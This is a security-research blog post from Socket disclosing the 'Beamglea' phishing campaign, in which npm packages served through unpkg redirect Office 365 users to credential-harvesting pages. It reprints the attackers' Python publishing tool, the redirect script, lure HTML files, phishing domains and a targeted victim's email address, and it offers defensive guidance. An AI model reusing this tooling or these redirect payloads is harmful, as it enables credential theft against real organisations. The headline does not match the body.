
Research
/Security News
10 npm Typosquatted Packages Deploy Multi-Stage Credential Harvester
Socket researchers found 10 typosquatted npm packages that auto-run on install, show fake CAPTCHAs, fingerprint by IP, and deploy a credential stealer.


Kush Pandya
October 9, 2025
Socket's Threat Research Team uncovered 175 malicious npm packages which have collectively accumulated over 26,000 downloads, serving as infrastructure for a widespread phishing campaign targeting 135+ industrial, technology, and energy companies worldwide.
While the packages' randomized names make accidental developer installation unlikely, the download counts likely include security researchers, automated scanners, and CDN infrastructure analyzing the packages after disclosure. The campaign, which we're calling "Beamglea" based on consistent artifacts across all packages, uses npm's public registry and unpkg.com's CDN to host redirect scripts that funnel victims to credential harvesting pages. The origin and meaning of "beamglea" remains unclear - it may be a codename, inside reference, or randomly chosen identifier by the threat actors. 
Prior to this disclosure, the term had virtually no presence online, making it an effective tracking identifier for this specific operation. Most of the packages associated with this campaign are currently live at the time of writing. We have petitioned for their removal as well as the suspension of the threat actor’s accounts from the npm registry.
This discovery builds on initial findings by Paul McCarty at Safety, who first identified the phishing infrastructure on September 24, 2025. Socket's AI scanner independently flagged these packages and additional variants, expanding the analysis from the initial discovery to document the current 175-package campaign infrastructure.

Socket's AI Scanner flagging the malicious redirect-nf0qo1 package
The npm packages themselves don't execute malicious code when installed via npm install. Instead, they exploit npm as free, global hosting infrastructure for phishing attacks. unpkg[.]com is a legitimate, widely-used CDN service that automatically serves any public npm package over HTTPS. The threat actors abuse this trusted infrastructure to host their phishing components without paying for servers or SSL certificates.
Here's the complete attack chain:
redirect-[a-z0-9]{6} to npmhttps://unpkg[.]com/redirect-xs13nr@1.0.0/beamglea.js
Microsoft OAuth phishing page with pre-filled victim email at cfn.jackpotmastersdanske[.]com
The npm ecosystem becomes unwitting infrastructure rather than a direct attack vector. Developers who install these packages see no malicious behavior, but victims opening specially crafted HTML files are redirected to phishing sites.
The threat actors developed Python tooling to automate the entire campaign. Across multiple packages, we found redirect_generator.py scripts and PyInstaller-compiled executables that handle:
def generate_random_package_name(prefix="redirect-"):
    # Generates random 6-character suffix
    suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=6))
    return prefix + suffix
# Template processing replaces placeholders with victim-specific data
template_js = load_template('beamglea_template.js')
final_js = template_js.replace("{{EMAIL}}", email).replace("{{URL}}", redirect_url)
with open("beamglea.js", "w", encoding="utf-8") as f:
    f.write(final_js)
    
# === 3. Ensure NPM Login ===
npm_user = npm_logged_in()
if not npm_user:
    print("🔑 You are not logged in to npm. Please enter your credentials:")
    npm_username = input("NPM Username: ")
    npm_password = input("NPM Password: ")
    npm_email = input("NPM Email: ")
    login_input = f"{npm_username}\n{npm_password}\n{npm_email}\n"
    run_cmd(["npm", "login"], input_text=login_input)
    npm_user = npm_logged_in()
print(f"✅ Logged in as {npm_user}")
# === 4. Create Package ===
package_name = generate_random_package_name()
package_json_path = "package.json"
initial_version = "1.0.0"
if os.path.exists(package_json_path):
    with open(package_json_path, "r", encoding="utf-8") as f:
        existing_package = json.load(f)
        if existing_package.get("name") == package_name:
            initial_version = bump_version(existing_package.get("version", "1.0.0"))
package_json = {
    "name": package_name,
    "version": initial_version,
    "main": "beamglea.js"
}
with open(package_json_path, "w", encoding="utf-8") as f:
    json.dump(package_json, f, indent=4)
# === 5. Publish to NPM ===
print("📦 Publishing to npm...")
try:
    run_cmd(["npm", "publish", "--access", "public"])
except SystemExit:
    print("⚠️ Trying to bump version and retry...")
    with open(package_json_path, "r", encoding="utf-8") as f:
        pj = json.load(f)
    pj["version"] = bump_version(pj["version"])
    with open(package_json_path, "w", encoding="utf-8") as f:
        json.dump(pj, f, indent=4)
    run_cmd(["npm", "publish", "--access", "public"])
print("✅ Package published!")
# === 6. Generate redirect.html ===
package_version = package_json["version"]
cdn_url = f"https://unpkg.com/{package_name}@{package_version}/beamglea.js"
html_content = f"""<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="html-meta" content="nb830r6x">
    <title></title>
</head>
<body>
   <div class="appcontainer"></div>
   <script src="{cdn_url}"></script>
</body>
</html>
"""
output_dir = "output"
os.makedirs(output_dir, exist_ok=True)
with open(os.path.join(output_dir, "redirect.html"), "w", encoding="utf-8") as f:
    f.write(html_content)The automation takes three inputs: a JavaScript template file (beamglea_template.js), the victim's email address, and the phishing URL. It then:
This automation enabled the threat actors to create 175 unique packages targeting different organizations without manual intervention for each victim.

Threat actor zamaniboss profile
Each package contains a simple redirect script named beamglea.js:
function processAndRedirect() {
    var email = "victim@company.com";  // Customized per target
    var urlPath = "https://cfn.jackpotmastersdanske.com/TJImeEKD";
    var finalUrl = urlPath + "#" + email;
    window.location.href = finalUrl;
}
processAndRedirect();The script appends the victim's email as a URL fragment. URL fragments appear after the # symbol and are not sent to web servers in HTTP requests, which means they don't appear in standard server access logs. The phishing page reads the email from JavaScript context and pre-fills login forms, creating an appearance of legitimacy.
We identified 630+ HTML files across the 175 packages, using business document themes to bypass suspicion, all located in the output folder of the package:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="html-meta" content="nb830r6x">
    <title></title>
</head>
<body>
   <div class="appcontainer"></div>
   <script src="https://unpkg.com/redirect-xs13nr@1.0.0/beamglea.js"></script>
</body>
</html>The campaign identifier nb830r6x appears in the meta tag of all HTML files. Filenames mimic legitimate business documents:
PO3725.html, PODV250918.html , Purchase Order List 2025.htmlProduct drawing and specification for Heat Exchangers.htmlDutch Dipping Hydrogen Project.htmlThese HTML files load JavaScript from unpkg[.]com when opened in a browser, triggering the redirect to credential phishing pages.

When victims open these HTML files in a browser, the JavaScript immediately redirects to the phishing domain while passing the victim's email address via URL fragment. The phishing page then pre-fills the email field, creating a convincing appearance that the victim is accessing a legitimate login portal that already recognizes them. This pre-filled credential significantly increases the attack's success rate by reducing victim suspicion.
The campaign uses seven phishing domains:
Primary Infrastructure (51% of packages):
cfn.jackpotmastersdanske[.]com with path /TJImeEKDSecondary Infrastructure:
musicboxcr[.]com with base64-encoded parametersvillasmbuva[.]co[.]mz (Mozambique TLD)cfn.fejyhy[.]comcfn.fenamu[.]comcfn.notwinningbutpartici[.]comelkendinsc[.]comSome domains use base64-encoded URL parameters that reveal targeting specifics:
/s/?c3Y9bzM2NV8xX25vbSZtPThvJnVpZD1VU0VSMjMwOTIwMjVVMzkwOTIzMTQmdD1oSA==N0123N
Decoded:
sv=o365_1_nom    // Office 365, variant 1, no MFA
m=8o             // Campaign identifier
uid=USER23092025U39092314  // Session tracking: Sept 23, 2025 at 09:23:14
t=hH             // TokenThe o365_1_nom parameter indicates the phishing pages specifically target Office 365 accounts without multi-factor authentication enabled.
The campaign targeted 135+ unique email addresses across 100+ organizations, with heavy focus on:
Industrial Manufacturing (35%):
Technology/Electronics (20%):
Energy/Chemical (15%):
Most Targeted: sraka@hust[.]hr appeared in 19 separate packages, suggesting either high-value targeting or a persistent campaign against this Croatian industrial organization.
Geographic targeting focused heavily on Western Europe (Germany, Netherlands, Belgium, Italy) with secondary focus on Nordic countries and Asia-Pacific. Notably absent were US-based targets.
Infrastructure Metrics:
nb830r6xOperational Security Indicators:
The presence of cdn_setup_guide.txt in some packages shows long-term planning. The guide provides instructions for setting up independent hosting infrastructure using VPS and Nginx, reducing reliance on unpkg.com's CDN.
This campaign demonstrates how threat actors weaponize legitimate infrastructure at scale. By publishing 175 packages across 9 accounts and automating victim-specific HTML generation, the attackers created resilient phishing infrastructure that costs nothing to host and leverages trusted CDN services. The combination of npm's open registry, unpkg.com's automatic serving, and minimal code creates a reproducible playbook that other threat actors will adopt.
Defenders should expect this technique to evolve. Likely variations include migration to other CDN services (jsDelivr, cdnjs), incorporation of additional evasion through domain generation algorithms for phishing endpoints, time-based activation beyond simple redirects, and obfuscation of the JavaScript payload to complicate static analysis.
The campaign identifier nb830r6x in HTML meta tags suggests tracking across multiple operations, indicating organized threat actor infrastructure rather than opportunistic attacks. Expect C2 domain rotation, geofenced phishing pages that only activate for specific geographic regions or during business hours, and HTML attachments with increased sophistication mimicking DocuSign, Microsoft Office, or Adobe PDF viewers.
Organizations should treat any detection of these IOCs as an active breach requiring immediate response:
o365_1_nom targeting parameter. redirect-*/beamglea.js pattern.Beyond immediate incident response, implement defensive controls that prevent similar attacks. Configure email gateways to quarantine HTML attachments or strip them entirely, as legitimate business communication rarely requires HTML file transfers. Deploy web content filtering that blocks or alerts on unpkg.com requests to packages matching suspicious patterns, though balance this against legitimate CDN usage by development teams. Add endpoint detection rules for HTML files in Downloads folders that contain unpkg.com script references, particularly those with empty titles and minimal content. Implement browser history analysis looking for sequential navigation from local HTML files to external domains with email fragments in the URL.
npm Packages
redirect-04g1myredirect-0g91q6redirect-0vaxnwredirect-1akzwgredirect-1hvx9gredirect-1knxokredirect-1p89njredirect-1st7z7redirect-1tokinredirect-1ubpyuredirect-1wc4gwredirect-24nt59redirect-24srjdredirect-297vpkredirect-2aie58redirect-3viu68redirect-406s9zredirect-47cprvredirect-4a6uhwredirect-4dcjkhredirect-4iyfatredirect-4nwrkgredirect-4r6ynvredirect-53bw0rredirect-57j5wbredirect-594t6hredirect-5cxzgsredirect-5iqds5redirect-5lpukuredirect-5r42ifredirect-63cl4fredirect-6lvcjmredirect-7bqfg6redirect-7qnew0redirect-7vw41mredirect-7yqujrredirect-8f3x70redirect-8py8qsredirect-8ynd96redirect-95fl17redirect-9iak88redirect-a1gs61redirect-a1jnforedirect-aw9itjredirect-b9diharedirect-b9fv9eredirect-byj4f5redirect-c1n05credirect-ch5aypredirect-ci4yntredirect-cj50k2redirect-cn040wredirect-colauxredirect-cuvccpredirect-cwfpnzredirect-cx4vm0redirect-d0qfkuredirect-dna9sdredirect-dravb9redirect-e19jyeredirect-e761hqredirect-eeu53fredirect-elvwbaredirect-eqtqymredirect-evb9waredirect-ewce43redirect-f1wut9redirect-f72kywredirect-fd91u6redirect-fhelhfredirect-fohapyredirect-fwx2y7redirect-g0ew1nredirect-g7gn31redirect-g7v030redirect-gbgbghredirect-gjl674redirect-gzixvcredirect-gzkgcnredirect-h0i672redirect-h4y8f0redirect-hi5ag9redirect-ht8x82redirect-hx522hredirect-icp3vdredirect-igk4sdredirect-iocz0aredirect-j0rs4aredirect-j5blfbredirect-j8m62uredirect-jr2idtredirect-jw31klredirect-k1jlsfredirect-k4s26tredirect-k5j1u7redirect-klea4qredirect-ksm5w7redirect-kz5pf4redirect-l0m7onredirect-l3td5credirect-l6qi9eredirect-lbgja3redirect-ld0k2aredirect-lp2xe6redirect-ltlpojredirect-lxzc6credirect-m92q7hredirect-mop8sgredirect-mrdlderedirect-mz4116redirect-n06xhlredirect-n0c0ptredirect-n2wvecredirect-n79ihtredirect-n95xyvredirect-nf0qo1redirect-nixl3qredirect-njmr1gredirect-noyuanredirect-nq70u6redirect-nqfhsnredirect-nron9dredirect-nuyvwkredirect-nzobltredirect-o92d2hredirect-oroq43redirect-p8ris1redirect-pkkd5sredirect-pqigplredirect-prhts6redirect-q2htwuredirect-q4vs8mredirect-q84l3vredirect-qbzqroredirect-qrah57redirect-qx2wwwredirect-r0ajvlredirect-r3s2jvredirect-rc2ewaredirect-rmunklredirect-rrfeb9redirect-s7usffredirect-shqv6vredirect-sjcr8credirect-sormfbredirect-sr2minredirect-sykre1redirect-t09ul0redirect-t65vz6redirect-t8kcskredirect-u0e2q7redirect-ubp4csredirect-uc8xfgredirect-udmf0uredirect-uplctpredirect-uxwcv8redirect-v74zeeredirect-vlgk2credirect-vpvoosredirect-w9cx9uredirect-whb6rtredirect-wu8gx9redirect-x2giv7redirect-x4imdvredirect-xgcv6jredirect-xi84nqredirect-xs13nrredirect-y8p47mredirect-ystrj5redirect-ytimebredirect-za4566redirect-zbhdm7redirect-zfwzmcredirect-zoju4gredirect-homer-flajptMalicious Domains:
cfn.jackpotmastersdanske[.]commusicboxcr[.]comvillasmbuva[.]co[.]mzcfn.fejyhy[.]comcfn.fenamu[.]comcfn.notwinningbutpartici[.]comelkendinsc[.]comnpm Aliases and Registration Emails:
nb830r6xT1195.002 — Supply Chain Compromise: Compromise Software Supply ChainT1583.001 — Acquire Infrastructure: DomainsT1584.004 — Compromise Infrastructure: ServerT1566.001 — Phishing: Spearphishing AttachmentT1566.002 — Phishing: Spearphishing LinkT1056.003 — Input Capture: Web Portal CaptureSubscribe to our newsletter
Get notified when we publish new security blog posts!
Try it now

Research
/Security News
Socket researchers found 10 typosquatted npm packages that auto-run on install, show fake CAPTCHAs, fingerprint by IP, and deploy a credential stealer.

Research
The Socket Threat Research Team uncovered malicious NuGet packages typosquatting the popular Nethereum project to steal wallet keys.

Research
/Security News
The Socket Threat Research Team uncovered a coordinated campaign that floods the Chrome Web Store with 131 rebranded clones of a WhatsApp Web automation extension to spam Brazilian users.